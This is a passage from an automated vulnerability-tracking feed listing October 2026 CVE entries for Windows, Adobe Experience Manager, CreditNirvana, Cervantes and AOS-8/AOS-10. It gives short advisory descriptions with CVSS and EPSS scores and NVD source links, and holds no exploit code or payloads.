CVSS 7.8 (version 3.1; evidence as of Oct 26, 2026; https://nvd.nist.gov/vuln/detail/CVE-2026-102220).
EPSS 0.4% for the following 30 days, scored Oct 25, 2026 (https://api.first.org/data/v1/epss?cve=CVE-2026-102220&date=2026-10-25).
Sources:
NVD CVE-2026-102220: https://nvd.nist.gov/vuln/detail/CVE-2026-102220
Vendor advisory (via NVD references): https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-102220
NVD CVE API 2.0: https://services.nvd.nist.gov/rest/json/cves/2.0?lastModStartDate=2026-10-26T14:21:07.433Z&lastModEndDate=2026-10-26T15:50:56.370Z&resultsPerPage=500&startIndex=0
NVD CVE API 2.0: https://services.nvd.nist.gov/rest/json/cves/2.0?lastModStartDate=2026-10-26T13:46:51.330Z&lastModEndDate=2026-10-26T15:20:55.429Z&resultsPerPage=500&startIndex=0
NVD CVE API 2.0: https://services.nvd.nist.gov/rest/json/cves/2.0?pubStartDate=2026-10-12T13:35:55.142Z&pubEndDate=2026-10-26T13:35:55.142Z&resultsPerPage=500&startIndex=1000
FIRST measured EPSS score: https://api.first.org/data/v1/epss?cve=CVE-2026-102220&date=2026-10-25
Use after free in Windows VHD miniport driver allows an authorized attacker to elevate privileges locally.

NVD status: Analyzed. Publication in the NVD is not evidence of exploitation.
Action: Check the vendor advisory for affected versions and fixes.
Kind: vulnerability; regions: Global; provenance: pipeline.
KEV evidence not available.

### Out-of-bounds read in Windows Text Shaping allows an unauthorized attacker to execute code over a network.
https://kevwire.com/record/CVE-2026-102225
Out-of-bounds read in Windows Text Shaping allows an unauthorized attacker to execute code over a network. (Oct 13, 2026).
Out-of-bounds read in Windows Text Shaping allows an unauthorized attacker to execute code over a network.
CVSS 8.8 (version 3.1; evidence as of Oct 26, 2026; https://nvd.nist.gov/vuln/detail/CVE-2026-102225).
EPSS 0.9% for the following 30 days, scored Oct 25, 2026 (https://api.first.org/data/v1/epss?cve=CVE-2026-102225&date=2026-10-25).
Sources:
NVD CVE-2026-102225: https://nvd.nist.gov/vuln/detail/CVE-2026-102225
Vendor advisory (via NVD references): https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-102225
NVD CVE API 2.0: https://services.nvd.nist.gov/rest/json/cves/2.0?lastModStartDate=2026-10-26T14:21:07.433Z&lastModEndDate=2026-10-26T15:50:56.370Z&resultsPerPage=500&startIndex=0
NVD CVE API 2.0: https://services.nvd.nist.gov/rest/json/cves/2.0?lastModStartDate=2026-10-26T13:46:51.330Z&lastModEndDate=2026-10-26T15:20:55.429Z&resultsPerPage=500&startIndex=0
NVD CVE API 2.0: https://services.nvd.nist.gov/rest/json/cves/2.0?pubStartDate=2026-10-12T13:35:55.142Z&pubEndDate=2026-10-26T13:35:55.142Z&resultsPerPage=500&startIndex=1000
FIRST measured EPSS score: https://api.first.org/data/v1/epss?cve=CVE-2026-102225&date=2026-10-25
Out-of-bounds read in Windows Text Shaping allows an unauthorized attacker to execute code over a network.

NVD status: Analyzed. Publication in the NVD is not evidence of exploitation.
Action: Check the vendor advisory for affected versions and fixes.
Kind: vulnerability; regions: Global; provenance: pipeline.
KEV evidence not available.

### Heap-based buffer overflow in Windows Resilient File System (ReFS) allows an authorized attacker to execute code locally.
https://kevwire.com/record/CVE-2026-102227
Heap-based buffer overflow in Windows Resilient File System (ReFS) allows an authorized attacker to execute code locally. (Oct 13, 2026).
Heap-based buffer overflow in Windows Resilient File System (ReFS) allows an authorized attacker to execute code locally.
CVSS 7.8 (version 3.1; evidence as of Oct 26, 2026; https://nvd.nist.gov/vuln/detail/CVE-2026-102227).
EPSS 0.4% for the following 30 days, scored Oct 25, 2026 (https://api.first.org/data/v1/epss?cve=CVE-2026-102227&date=2026-10-25).
Sources:
NVD CVE-2026-102227: https://nvd.nist.gov/vuln/detail/CVE-2026-102227
Vendor advisory (via NVD references): https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-102227
NVD CVE API 2.0: https://services.nvd.nist.gov/rest/json/cves/2.0?lastModStartDate=2026-10-26T14:21:07.433Z&lastModEndDate=2026-10-26T15:50:56.370Z&resultsPerPage=500&startIndex=0
NVD CVE API 2.0: https://services.nvd.nist.gov/rest/json/cves/2.0?lastModStartDate=2026-10-26T13:46:51.330Z&lastModEndDate=2026-10-26T15:20:55.429Z&resultsPerPage=500&startIndex=0
NVD CVE API 2.0: https://services.nvd.nist.gov/rest/json/cves/2.0?lastModStartDate=2026-10-26T13:11:54.490Z&lastModEndDate=2026-10-26T14:45:57.368Z&resultsPerPage=500&startIndex=0
NVD CVE API 2.0: https://services.nvd.nist.gov/rest/json/cves/2.0?pubStartDate=2026-10-12T13:35:55.142Z&pubEndDate=2026-10-26T13:35:55.142Z&resultsPerPage=500&startIndex=1000
FIRST measured EPSS score: https://api.first.org/data/v1/epss?cve=CVE-2026-102227&date=2026-10-25
Heap-based buffer overflow in Windows Resilient File System (ReFS) allows an authorized attacker to execute code locally.

NVD status: Analyzed. Publication in the NVD is not evidence of exploitation.
Action: Check the vendor advisory for affected versions and fixes.
Kind: vulnerability; regions: Global; provenance: pipeline.
KEV evidence not available.

### Adobe Experience Manager is affected by a stored Cross-Site Scripting (XSS) vulnerability that could be abused by an attacker to inject malicious scripts into vulnerable form...
https://kevwire.com/record/CVE-2026-106629
Adobe Experience Manager is affected by a stored Cross-Site Scripting (XSS) vulnerability that could be abused by an attacker to inject malicious scripts into vulnerable form... (Oct 13, 2026).
Adobe Experience Manager is affected by a stored Cross-Site Scripting (XSS) vulnerability that could be abused by an attacker to inject malicious scripts into vulnerable form fields. Malicious JavaScript may be executed in a victim's browser when they browse to the page containing the vulnerable field, potentially gaining elevated access or control over the victim's account or session. Scope is changed.
CVSS 9.3 (version 3.1; evidence as of Oct 26, 2026; https://nvd.nist.gov/vuln/detail/CVE-2026-106629).
EPSS 0.9% for the following 30 days, scored Oct 25, 2026 (https://api.first.org/data/v1/epss?cve=CVE-2026-106629&date=2026-10-25).
Sources:
NVD CVE-2026-106629: https://nvd.nist.gov/vuln/detail/CVE-2026-106629
NVD CVE API 2.0: https://services.nvd.nist.gov/rest/json/cves/2.0?lastModStartDate=2026-10-26T14:21:07.433Z&lastModEndDate=2026-10-26T15:50:56.370Z&resultsPerPage=500&startIndex=0
NVD CVE API 2.0: https://services.nvd.nist.gov/rest/json/cves/2.0?lastModStartDate=2026-10-26T13:46:51.330Z&lastModEndDate=2026-10-26T15:20:55.429Z&resultsPerPage=500&startIndex=0
NVD CVE API 2.0: https://services.nvd.nist.gov/rest/json/cves/2.0?lastModStartDate=2026-10-26T13:11:54.490Z&lastModEndDate=2026-10-26T14:45:57.368Z&resultsPerPage=500&startIndex=0
NVD CVE API 2.0: https://services.nvd.nist.gov/rest/json/cves/2.0?pubStartDate=2026-10-12T13:35:55.142Z&pubEndDate=2026-10-26T13:35:55.142Z&resultsPerPage=500&startIndex=2500
FIRST measured EPSS score: https://api.first.org/data/v1/epss?cve=CVE-2026-106629&date=2026-10-25
Adobe Experience Manager is affected by a stored Cross-Site Scripting (XSS) vulnerability that could be abused by an attacker to inject malicious scripts into vulnerable form fields. Malicious JavaScript may be executed in a victim's browser when they browse to the page containing the vulnerable field, potentially gaining elevated access or control over the victim's account or session. Scope is changed.

NVD status: Analyzed. Publication in the NVD is not evidence of exploitation.
Action: Check the vendor advisory for affected versions and fixes.
Kind: vulnerability; regions: Global; provenance: pipeline.
KEV evidence not available.

### Adobe Experience Manager is affected by a stored Cross-Site Scripting (XSS) vulnerability that could be abused by an attacker to inject malicious scripts into vulnerable form...
https://kevwire.com/record/CVE-2026-106630
Adobe Experience Manager is affected by a stored Cross-Site Scripting (XSS) vulnerability that could be abused by an attacker to inject malicious scripts into vulnerable form... (Oct 13, 2026).
Adobe Experience Manager is affected by a stored Cross-Site Scripting (XSS) vulnerability that could be abused by an attacker to inject malicious scripts into vulnerable form fields. Malicious JavaScript may be executed in a victim's browser when they browse to the page containing the vulnerable field, potentially gaining elevated access or control over the victim's account or session. Scope is changed.
CVSS 9.3 (version 3.1; evidence as of Oct 26, 2026; https://nvd.nist.gov/vuln/detail/CVE-2026-106630).
EPSS 0.9% for the following 30 days, scored Oct 25, 2026 (https://api.first.org/data/v1/epss?cve=CVE-2026-106630&date=2026-10-25).
Sources:
NVD CVE-2026-106630: https://nvd.nist.gov/vuln/detail/CVE-2026-106630
NVD CVE API 2.0: https://services.nvd.nist.gov/rest/json/cves/2.0?lastModStartDate=2026-10-26T14:21:07.433Z&lastModEndDate=2026-10-26T15:50:56.370Z&resultsPerPage=500&startIndex=0
NVD CVE API 2.0: https://services.nvd.nist.gov/rest/json/cves/2.0?lastModStartDate=2026-10-26T13:46:51.330Z&lastModEndDate=2026-10-26T15:20:55.429Z&resultsPerPage=500&startIndex=0
NVD CVE API 2.0: https://services.nvd.nist.gov/rest/json/cves/2.0?lastModStartDate=2026-10-26T13:11:54.490Z&lastModEndDate=2026-10-26T14:45:57.368Z&resultsPerPage=500&startIndex=0
NVD CVE API 2.0: https://services.nvd.nist.gov/rest/json/cves/2.0?pubStartDate=2026-10-12T13:35:55.142Z&pubEndDate=2026-10-26T13:35:55.142Z&resultsPerPage=500&startIndex=2500
FIRST measured EPSS score: https://api.first.org/data/v1/epss?cve=CVE-2026-106630&date=2026-10-25
Adobe Experience Manager is affected by a stored Cross-Site Scripting (XSS) vulnerability that could be abused by an attacker to inject malicious scripts into vulnerable form fields. Malicious JavaScript may be executed in a victim's browser when they browse to the page containing the vulnerable field, potentially gaining elevated access or control over the victim's account or session. Scope is changed.

NVD status: Analyzed. Publication in the NVD is not evidence of exploitation.
Action: Check the vendor advisory for affected versions and fixes.
Kind: vulnerability; regions: Global; provenance: pipeline.
KEV evidence not available.

### This vulnerability exists in the CreditNirvana Agentic AI Call Centre application due to hardcoded static API Key in the client side JavaScript bundle.
https://kevwire.com/record/CVE-2026-110474
This vulnerability exists in the CreditNirvana Agentic AI Call Centre application due to hardcoded static API Key in the client side JavaScript bundle. (Oct 26, 2026).
This vulnerability exists in the CreditNirvana Agentic AI Call Centre application due to hardcoded static API Key in the client side JavaScript bundle. An unauthenticated remote attacker could exploit this vulnerability by downloading client side JavaScript files and extracting API key, which could lead to make arbitrary API calls to retrieve call transcripts and recordings through the application API of the targeted system.
CVSS 8.7 (version 4.0; evidence as of Oct 26, 2026; https://nvd.nist.gov/vuln/detail/CVE-2026-110474).
Sources:
NVD CVE-2026-110474: https://nvd.nist.gov/vuln/detail/CVE-2026-110474
NVD CVE API 2.0: https://services.nvd.nist.gov/rest/json/cves/2.0?lastModStartDate=2026-10-26T14:21:07.433Z&lastModEndDate=2026-10-26T15:50:56.370Z&resultsPerPage=500&startIndex=0
NVD CVE API 2.0: https://services.nvd.nist.gov/rest/json/cves/2.0?lastModStartDate=2026-10-26T13:46:51.330Z&lastModEndDate=2026-10-26T15:20:55.429Z&resultsPerPage=500&startIndex=500
NVD CVE API 2.0: https://services.nvd.nist.gov/rest/json/cves/2.0?lastModStartDate=2026-10-26T13:11:54.490Z&lastModEndDate=2026-10-26T14:45:57.368Z&resultsPerPage=500&startIndex=500
This vulnerability exists in the CreditNirvana Agentic AI Call Centre application due to hardcoded static API Key in the client side JavaScript bundle. An unauthenticated remote attacker could exploit this vulnerability by downloading client side JavaScript files and extracting API key, which could lead to make arbitrary API calls to retrieve call transcripts and recordings through the application API of the targeted system.

NVD status: Deferred. Publication in the NVD is not evidence of exploitation.
Action: Check the vendor advisory for affected versions and fixes.
Kind: vulnerability; regions: Global; provenance: pipeline.
KEV evidence not available.

### This vulnerability exists in the CreditNirvana Collections Platform due to improper authentication and authorization controls at the platform login service.
https://kevwire.com/record/CVE-2026-110475
This vulnerability exists in the CreditNirvana Collections Platform due to improper authentication and authorization controls at the platform login service. (Oct 26, 2026).
This vulnerability exists in the CreditNirvana Collections Platform due to improper authentication and authorization controls at the platform login service. An unauthenticated remote attacker could exploit this vulnerability by manipulating authentication requests and accessing APIs without a valid authenticated session on the targeted system.

Successful exploitation of this vulnerability could allow the attacker to enumerate platform users, establish sessions as arbitrary users including administrative users, access and modify sensitive information with the privileges of the impersonated user.
CVSS 9.3 (version 4.0; evidence as of Oct 26, 2026; https://nvd.nist.gov/vuln/detail/CVE-2026-110475).
Sources:
NVD CVE-2026-110475: https://nvd.nist.gov/vuln/detail/CVE-2026-110475
NVD CVE API 2.0: https://services.nvd.nist.gov/rest/json/cves/2.0?lastModStartDate=2026-10-26T14:21:07.433Z&lastModEndDate=2026-10-26T15:50:56.370Z&resultsPerPage=500&startIndex=0
NVD CVE API 2.0: https://services.nvd.nist.gov/rest/json/cves/2.0?lastModStartDate=2026-10-26T13:46:51.330Z&lastModEndDate=2026-10-26T15:20:55.429Z&resultsPerPage=500&startIndex=500
NVD CVE API 2.0: https://services.nvd.nist.gov/rest/json/cves/2.0?lastModStartDate=2026-10-26T13:11:54.490Z&lastModEndDate=2026-10-26T14:45:57.368Z&resultsPerPage=500&startIndex=500
This vulnerability exists in the CreditNirvana Collections Platform due to improper authentication and authorization controls at the platform login service. An unauthenticated remote attacker could exploit this vulnerability by manipulating authentication requests and accessing APIs without a valid authenticated session on the targeted system.

Successful exploitation of this vulnerability could allow the attacker to enumerate platform users, establish sessions as arbitrary users including administrative users, access and modify sensitive information with the privileges of the impersonated user.

NVD status: Deferred. Publication in the NVD is not evidence of exploitation.
Action: Check the vendor advisory for affected versions and fixes.
Kind: vulnerability; regions: Global; provenance: pipeline.
KEV evidence not available.

### Broken access control in JiraController in Cervantes version v1.3-beta could allow an attacker to create, edit, or delete Jira tickets for vulnerabilities in other projects
https://kevwire.com/record/CVE-2026-115975
Broken access control in JiraController in Cervantes version v1.3-beta could allow an attacker to create, edit, or delete Jira tickets for vulnerabilities in other projects (Oct 24, 2026).
Broken access control in JiraController in Cervantes version v1.3-beta could allow an attacker to create, edit, or delete Jira tickets for vulnerabilities in other projects
CVSS 7.1 (version 3.1; evidence as of Oct 26, 2026; https://nvd.nist.gov/vuln/detail/CVE-2026-115975).
EPSS 0.2% for the following 30 days, scored Oct 25, 2026 (https://api.first.org/data/v1/epss?cve=CVE-2026-115975&date=2026-10-25).
Sources:
NVD CVE-2026-115975: https://nvd.nist.gov/vuln/detail/CVE-2026-115975
NVD CVE API 2.0: https://services.nvd.nist.gov/rest/json/cves/2.0?lastModStartDate=2026-10-26T13:46:51.330Z&lastModEndDate=2026-10-26T15:20:55.429Z&resultsPerPage=500&startIndex=500
NVD CVE API 2.0: https://services.nvd.nist.gov/rest/json/cves/2.0?lastModStartDate=2026-10-26T13:11:54.490Z&lastModEndDate=2026-10-26T14:45:57.368Z&resultsPerPage=500&startIndex=500
NVD CVE API 2.0: https://services.nvd.nist.gov/rest/json/cves/2.0?pubStartDate=2026-10-12T13:35:55.142Z&pubEndDate=2026-10-26T13:35:55.142Z&resultsPerPage=500&startIndex=9000
FIRST measured EPSS score: https://api.first.org/data/v1/epss?cve=CVE-2026-115975&date=2026-10-25
Broken access control in JiraController in Cervantes version v1.3-beta could allow an attacker to create, edit, or delete Jira tickets for vulnerabilities in other projects

NVD status: Deferred. Publication in the NVD is not evidence of exploitation.
Action: Check the vendor advisory for affected versions and fixes.
Kind: vulnerability; regions: Global; provenance: pipeline.
KEV evidence not available.

### Authentication bypass vulnerabilities in the affected interface of AOS-10 could allow an unauthenticated remote attacker to run arbitrary commands on the underlying host if...
https://kevwire.com/record/CVE-2026-79844
Authentication bypass vulnerabilities in the affected interface of AOS-10 could allow an unauthenticated remote attacker to run arbitrary commands on the underlying host if... (Oct 22, 2026).
Authentication bypass vulnerabilities in the affected interface of AOS-10 could allow an unauthenticated remote attacker to run arbitrary commands on the underlying host if certain preconditions outside of the attacker's control are met. Successful exploitation could allow an attacker to execute arbitrary commands on the underlying operating system.
CVSS 10.0 (version 3.1; evidence as of Oct 26, 2026; https://nvd.nist.gov/vuln/detail/CVE-2026-79844).
EPSS 0.7% for the following 30 days, scored Oct 25, 2026 (https://api.first.org/data/v1/epss?cve=CVE-2026-79844&date=2026-10-25).
Sources:
NVD CVE-2026-79844: https://nvd.nist.gov/vuln/detail/CVE-2026-79844
NVD CVE API 2.0: https://services.nvd.nist.gov/rest/json/cves/2.0?lastModStartDate=2026-10-26T13:46:51.330Z&lastModEndDate=2026-10-26T15:20:55.429Z&resultsPerPage=500&startIndex=0
NVD CVE API 2.0: https://services.nvd.nist.gov/rest/json/cves/2.0?lastModStartDate=2026-10-26T13:11:54.490Z&lastModEndDate=2026-10-26T14:45:57.368Z&resultsPerPage=500&startIndex=0
NVD CVE API 2.0: https://services.nvd.nist.gov/rest/json/cves/2.0?pubStartDate=2026-10-12T13:35:55.142Z&pubEndDate=2026-10-26T13:35:55.142Z&resultsPerPage=500&startIndex=8500
FIRST measured EPSS score: https://api.first.org/data/v1/epss?cve=CVE-2026-79844&date=2026-10-25
Authentication bypass vulnerabilities in the affected interface of AOS-10 could allow an unauthenticated remote attacker to run arbitrary commands on the underlying host if certain preconditions outside of the attacker's control are met. Successful exploitation could allow an attacker to execute arbitrary commands on the underlying operating system.

NVD status: Awaiting Analysis. Publication in the NVD is not evidence of exploitation.
Action: Check the vendor advisory for affected versions and fixes.
Kind: vulnerability; regions: Global; provenance: pipeline.
KEV evidence not available.

### Command injection vulnerabilities exist in the affected interface of AOS-8 that could allow an unauthenticated remote attacker to run arbitrary commands on the underlying host if...
https://kevwire.com/record/CVE-2026-79846
Command injection vulnerabilities exist in the affected interface of AOS-8 that could allow an unauthenticated remote attacker to run arbitrary commands on the underlying host if... (Oct 22, 2026).
Command injection vulnerabilities exist in the affected interface of AOS-8 that could allow an unauthenticated remote attacker to run arbitrary commands on the underlying host if certain preconditions outside of the attacker's control are met. Successful exploitation could allow an attacker to execute arbitrary commands on the underlying operating system.
CVSS 10.0 (version 3.1; evidence as of Oct 26, 2026; https://nvd.nist.gov/vuln/detail/CVE-2026-79846).
EPSS 1.4% for the following 30 days, scored Oct 25, 2026 (https://api.first.org/data/v1/epss?cve=CVE-2026-79846&date=2026-10-25).
Sources:
NVD CVE-2026-79846: https://nvd.nist.gov/vuln/detail/CVE-2026-79846
NVD CVE API 2.0: https://services.nvd.nist.gov/rest/json/cves/2.0?lastModStartDate=2026-10-26T13:46:51.330Z&lastModEndDate=2026-10-26T15:20:55.429Z&resultsPerPage=500&startIndex=0
NVD CVE API 2.0: https://services.nvd.nist.gov/rest/json/cves/2.0?lastModStartDate=2026-10-26T13:11:54.490Z&lastModEndDate=2026-10-26T14:45:57.368Z&resultsPerPage=500&startIndex=0
NVD CVE API 2.0: https://services.nvd.nist.gov/rest/json/cves/2.0?pubStartDate=2026-10-12T13:35:55.142Z&pubEndDate=2026-10-26T13:35:55.142Z&resultsPerPage=500&startIndex=8500
FIRST measured EPSS score: https://api.first.org/data/v1/epss?cve=CVE-2026-79846&date=2026-10-25
Command injection vulnerabilities exist in the affected interface of AOS-8 that could allow an unauthenticated remote attacker to run arbitrary commands on the underlying host if certain preconditions outside of the attacker's control are met. Successful exploitation could allow an attacker to execute arbitrary commands on the underlying operating system.

NVD status: Awaiting Analysis. Publication in the NVD is not evidence of exploitation.
Action: Check the vendor advisory for affected versions and fixes.
Kind: vulnerability; regions: Global; provenance: pipeline.
KEV evidence not available.

### Buffer overflow vulnerabilities in the affected interface of AOS-10 could lead to unauthenticated remote code execution by sending specially crafted packets to the affected...
https://kevwire.com/record/CVE-2026-79847
Buffer overflow vulnerabilities in the affected interface of AOS-10 could lead to unauthenticated remote code execution by sending specially crafted packets to the affected... (Oct 22, 2026).
Buffer overflow vulnerabilities in the affected interface of AOS-10 could lead to unauthenticated remote code execution by sending specially crafted packets to the affected interface. Successful exploitation of this vulnerability results in the ability to execute arbitrary code as a privileged user on the underlying operating system.
CVSS 10.0 (version 3.1; evidence as of Oct 26, 2026; https://nvd.nist.gov/vuln/detail/CVE-2026-79847).
EPSS 0.8% for the following 30 days, scored Oct 25, 2026 (https://api.first.org/data/v1/epss?cve=CVE-2026-79847&date=2026-10-25).
Sources:
NVD CVE-2026-79847: https://nvd.nist.gov/vuln/detail/CVE-2026-79847
NVD CVE API 2.0: https://services.nvd.nist.gov/rest/json/cves/2.0?lastModStartDate=2026-10-26T13:46:51.330Z&lastModEndDate=2026-10-26T15:20:55.429Z&resultsPerPage=500&startIndex=0
NVD CVE API 2.0: https://services.nvd.nist.gov/rest/json/cves/2.0?lastModStartDate=2026-10-26T13:11:54.490Z&lastModEndDate=2026-10-26T14:45:57.368Z&resultsPerPage=500&startIndex=0
NVD CVE API 2.0: https://services.nvd.nist.gov/rest/json/cves/2.0?pubStartDate=2026-10-12T13:35:55.142Z&pubEndDate=2026-10-26T13:35:55.142Z&resultsPerPage=500&startIndex=8500
FIRST measured EPSS score: https://api.first.org/data/v1/epss?cve=CVE-2026-79847&date=2026-10-25
Buffer overflow vulnerabilities in the affected interface of AOS-10 could lead to unauthenticated remote code execution by sending specially crafted packets to the affected interface. Successful exploitation of this vulnerability results in the ability to execute arbitrary code as a privileged user on the underlying operating system.

NVD status: Awaiting Analysis. Publication in the NVD is not evidence of exploitation.
Action: Check the vendor advisory for affected versions and fixes.
Kind: vulnerability; regions: Global; provenance: pipeline.
KEV evidence not available.

### Vulnerabilities in the affected interface of AOS-8 could allow an unauthenticated remote attacker to conduct SQL injection attacks against an affected AOS-8 instance.
https://kevwire.com/record/CVE-2026-79848
Vulnerabilities in the affected interface of AOS-8 could allow an unauthenticated remote attacker to conduct SQL injection attacks against an affected AOS-8 instance. (Oct 22, 2026).
Vulnerabilities in the affected interface of AOS-8 could allow an unauthenticated remote attacker to conduct SQL injection attacks against an affected AOS-8 instance. Successful exploitation could allow an attacker to execute arbitrary commands on the underlying operating system.
CVSS 10.0 (version 3.1; evidence as of Oct 26, 2026; https://nvd.nist.gov/vuln/detail/CVE-2026-79848).
EPSS 0.7% for the following 30 days, scored Oct 25, 2026 (https://api.first.org/data/v1/epss?cve=CVE-2026-79848&date=2026-10-25).
Sources:
NVD CVE-2026-79848: https://nvd.nist.gov/vuln/detail/CVE-2026-79848
NVD CVE API 2.0: https://services.nvd.nist.gov/rest/json/cves/2.0?lastModStartDate=2026-10-26T13:46:51.330Z&lastModEndDate=2026-10-26T15:20:55.429Z&resultsPerPage=500&startIndex=0
NVD CVE API 2.0: https://services.nvd.nist.gov/rest/json/cves/2.0?lastModStartDate=2026-10-26T13:11:54.490Z&lastModEndDate=2026-10-26T14:45:57.368Z&resultsPerPage=500&startIndex=0
NVD CVE API 2.0: https://services.nvd.nist.gov/rest/json/cves/2.0?pubStartDate=2026-10-12T13:35:55.142Z&pubEndDate=2026-10-26T13:35:55.142Z&resultsPerPage=500&startIndex=8500
FIRST measured EPSS score: https://api.first.org/data/v1/epss?cve=CVE-2026-79848&date=2026-10-25
Vulnerabilities in the affected interface of AOS-8 could allow an unauthenticated remote attacker to conduct SQL injection attacks against an affected AOS-8 instance. Successful exploitation could allow an attacker to execute arbitrary commands on the underlying operating system.

NVD status: Awaiting Analysis. Publication in the NVD is not evidence of exploitation.
Action: Check the vendor advisory for affected versions and fixes.
Kind: vulnerability; regions: Global; provenance: pipeline.
KEV evidence not available.

### Vulnerabilities in the affected interface of AOS-8 could allow an unauthenticated remote attacker to conduct SQL injection attacks against an affected AOS-8 instance.
https://kevwire.com/record/CVE-2026-79849
Vulnerabilities in the affected interface of AOS-8 could allow an unauthenticated remote attacker to conduct SQL injection attacks against an affected AOS-8 instance. (Oct 22, 2026).
Vulnerabilities in the affected interface of AOS-8 could allow an unauthenticated remote attacker to conduct SQL injection attacks against an affected AOS-8 instance. Successful exploitation could allow an attacker to execute arbitrary commands on the underlying operating system.
CVSS 10.0 (version 3.1; evidence as of Oct 26, 2026; https://nvd.nist.gov/vuln/detail/CVE-2026-79849).
EPSS 0.7% for the following 30 days, scored Oct 25, 2026 (https://api.first.org/data/v1/epss?cve=CVE-2026-79849&date=2026-10-25).
Sources:
NVD CVE-2026-79849: https://nvd.nist.gov/vuln/detail/CVE-2026-79849
NVD CVE API 2.0: https://services.nvd.nist.gov/rest/json/cves/2.0?lastModStartDate=2026-10-26T13:46:51.330Z&lastModEndDate=2026-10-26T15:20:55.429Z&resultsPerPage=500&startIndex=0
NVD CVE API 2.0: https://services.nvd.nist.gov/rest/json/cves/2.0?lastModStartDate=2026-10-26T13:11:54.490Z&lastModEndDate=2026-10-26T14:45:57.368Z&resultsPerPage=500&startIndex=0
NVD CVE API 2.0: https://services.nvd.nist.gov/rest/json/cves/2.0?pubStartDate=2026-10-12T13:35:55.142Z&pubEndDate=2026-10-26T13:35:55.142Z&resultsPerPage=500&startIndex=8500
FIRST measured EPSS score: https://api.first.org/data/v1/epss?cve=CVE-2026-79849&date=2026-10-25
Vulnerabilities in the affected interface of AOS-8 could allow an unauthenticated remote attacker to conduct SQL injection attacks against an affected AOS-8 instance. Successful exploitation could allow an attacker to execute arbitrary commands on the underlying operating system.

NVD status: Awaiting Analysis. Publication in the NVD is not evidence of exploitation.
Action: Check the vendor advisory for affected versions and fixes.
Kind: vulnerability; regions: Global; provenance: pipeline.
KEV evidence not available.

### Vulnerabilities in the affected interface of AOS-8 could allow an unauthenticated remote attacker to bypass existing authentication controls and run arbitrary commands on the...
https://kevwire.com/record/CVE-2026-79850
Vulnerabilities in the affected interface of AOS-8 could allow an unauthenticated remote attacker to bypass existing authentication controls and run arbitrary commands on the... (Oct 22, 2026).
Vulnerabilities in the affected interface of AOS-8 could allow an unauthenticated remote attacker to bypass existing authentication controls and run arbitrary commands on the underlying host. Successful exploitation could allow an attacker to execute arbitrary commands as root on the underlying operating system leading to complete system compromise.
CVSS 10.0 (version 3.1; evidence as of Oct 26, 2026; https://nvd.nist.gov/vuln/detail/CVE-2026-79850).
EPSS 0.7% for the following 30 days, scored Oct 25, 2026 (https://api.first.org/data/v1/epss?cve=CVE-2026-79850&date=2026-10-25).
Sources:
NVD CVE-2026-79850: https://nvd.nist.gov/vuln/detail/CVE-2026-79850
NVD CVE API 2.0: https://services.nvd.nist.gov/rest/json/cves/2.0?lastModStartDate=2026-10-26T13:46:51.330Z&lastModEndDate=2026-10-26T15:20:55.429Z&resultsPerPage=500&startIndex=0
NVD CVE API 2.0: https://services.nvd.nist.gov/rest/json/cves/2.0?lastModStartDate=2026-10-26T13:11:54.490Z&lastModEndDate=2026-10-26T14:45:57.368Z&resultsPerPage=500&startIndex=0
NVD CVE API 2.0: https://services.nvd.nist.gov/rest/json/cves/2.0?pubStartDate=2026-10-12T13:35:55.142Z&pubEndDate=2026-10-26T13:35:55.142Z&resultsPerPage=500&startIndex=8500
FIRST measured EPSS score: https://api.first.org/data/v1/epss?cve=CVE-2026-79850&date=2026-10-25
Vulnerabilities in the affected interface of AOS-8 could allow an unauthenticated remote attacker to bypass existing authentication controls and run arbitrary commands on the underlying host. Successful exploitation could allow an attacker to execute arbitrary commands as root on the underlying operating system leading to complete system compromise.

NVD status: Awaiting Analysis. Publication in the NVD is not evidence of exploitation.
Action: Check the vendor advisory for affected versions and fixes.
Kind: vulnerability; regions: Global; provenance: pipeline.
KEV evidence not available.

### Buffer overflow vulnerabilities exist in the affected interface of AOS-10 that could lead to unauthenticated remote code execution.
https://kevwire.com/record/CVE-2026-79851
Buffer overflow vulnerabilities exist in the affected interface of AOS-10 that could lead to unauthenticated remote code execution. (Oct 22, 2026).
Buffer overflow vulnerabilities exist in the affected interface of AOS-10 that could lead to unauthenticated remote code execution. Successful exploitation could allow an attacker to execute arbitrary code as a privileged user on the underlying operating system, leading to complete system compromise.
CVSS 10.0 (version 3.1; evidence as of Oct 26, 2026; https://nvd.nist.gov/vuln/detail/CVE-2026-79851).
EPSS 0.8% for the following 30 days, scored Oct 25, 2026 (https://api.first.org/data/v1/epss?cve=CVE-2026-79851&date=2026-10-25).
Sources:
NVD CVE-2026-79851: https://nvd.nist.gov/vuln/detail/CVE-2026-79851
NVD CVE API 2.0: https://services.nvd.nist.gov/rest/json/cves/2.0?lastModStartDate=2026-10-26T13:46:51.330Z&lastModEndDate=2026-10-26T15:20:55.429Z&resultsPerPage=500&startIndex=0
NVD CVE API 2.0: https://services.nvd.nist.gov/rest/json/cves/2.0?lastModStartDate=2026-10-26T13:11:54.490Z&lastModEndDate=2026-10-26T14:45:57.368Z&resultsPerPage=500&startIndex=0
NVD CVE API 2.0: https://services.nvd.nist.gov/rest/json/cves/2.0?pubStartDate=2026-10-12T13:35:55.142Z&pubEndDate=2026-10-26T13:35:55.142Z&resultsPerPage=500&startIndex=8500
FIRST measured EPSS score: https://api.first.org/data/v1/epss?cve=CVE-2026-79851&date=2026-10-25
Buffer overflow vulnerabilities exist in the affected interface of AOS-10 that could lead to unauthenticated remote code execution. Successful exploitation could allow an attacker to execute arbitrary code as a privileged user on the underlying operating system, leading to complete system compromise.

NVD status: Awaiting Analysis. Publication in the NVD is not evidence of exploitation.
Action: Check the vendor advisory for affected versions and fixes.
Kind: vulnerability; regions: Global; provenance: pipeline.
KEV evidence not available.

### A vulnerability in the web-based management interface of AOS could allow an unauthenticated remote attacker to conduct SQL injection attacks against the AOS instance.
https://kevwire.com/record/CVE-2026-79852
A vulnerability in the web-based management interface of AOS could allow an unauthenticated remote attacker to conduct SQL injection attacks against the AOS instance. (Oct 22, 2026).
A vulnerability in the web-based management interface of AOS could allow an unauthenticated remote attacker to conduct SQL injection attacks against the AOS instance. Successful exploitation could allow an attacker to execute arbitrary commands on the underlying operating system.
CVSS 9.8 (version 3.1; evidence as of Oct 26, 2026; https://nvd.nist.gov/vuln/detail/CVE-2026-79852).
EPSS 0.6% for the following 30 days, scored Oct 25, 2026 (https://api.first.org/data/v1/epss?cve=CVE-2026-79852&date=2026-10-25).
Sources:
